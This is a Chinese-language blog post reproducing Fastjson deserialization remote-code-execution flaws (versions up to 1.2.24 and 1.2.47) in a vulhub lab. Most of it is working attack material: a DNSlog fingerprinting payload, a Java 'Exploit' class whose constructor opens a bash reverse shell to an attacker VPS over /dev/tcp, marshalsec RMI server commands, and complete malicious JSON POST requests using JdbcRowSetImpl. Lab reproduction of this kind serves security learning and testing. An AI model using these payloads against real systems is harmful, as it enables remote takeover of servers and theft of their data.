Fastjson漏洞复现
简介
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
fastjson指纹识别
当我们在渗透测试中,抓包的时候发现返回的流量内容存在json格式时,我们就可以想它是不是使用了fastjson库
接着我们可以进一步进行判断
- 根据报错信息判断
发送一个post请求。发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息。如果屏蔽了报错信息请看第二条
- 利用dnslog盲打
对目标发送一个POST请求,请求体内容如下。请求头添加Content-Type: application/json
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
DNSlog刷新成功
Fastjson<1.2.24远程代码执行(CVE-2017-18349)
漏洞详情
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞版本
fastjson <=1.2.24
漏洞分析
需要环境
在本机提前安装好maven和jdk
漏洞复现
使用vulhub搭建漏洞环境
docker-compose up d
访问xxx:8090
保存以下代码
dnslog.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/VPS的IP/6666 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
编译为Exploit.class
使用python在当前目录下起一个http服务,如果端口占用换其他的
python -m SimpleHTTPServer 4567
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类Exploit.class
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
编译项目
mvn clean package -DskipTests
以我搭建Exploit.class类http服务的服务器IP为2.2.2.2端口为4567
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx:4567/#Exploit" 9999
RMI服务可以搭建在与Exploit.class类的http服务同一台服务器,也可以搭建在其它服务器上。我们演示还是在同一台。
环境已经搭建好,接下来使用burp开始
POST / HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Host: 目标ip:8090
Connection: close
Content-Length: 162
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps的ip:9999/Exploit",
"autoCommit":true
}
}
如图即代表攻击成功
RMI服务响应
python搭建的http服务响应
nc
Fastjson 1.2.47 远程命令执行漏洞
和fastjson1.2.24差不多,就是poc不一样而已
影响版本
- fastjson<=1.2.47
漏洞检测
检测方式和1.2.24一样
漏洞利用
创建恶意类,python搭建服务
搭建RMI服务
发送的数据包改为即可
POST / HTTP/1.1
Host: 192.168.140.158:8090 #靶机地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS地址:端口/Exploit", #这里的Exploit不能变
"autoCommit":true
}
}
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!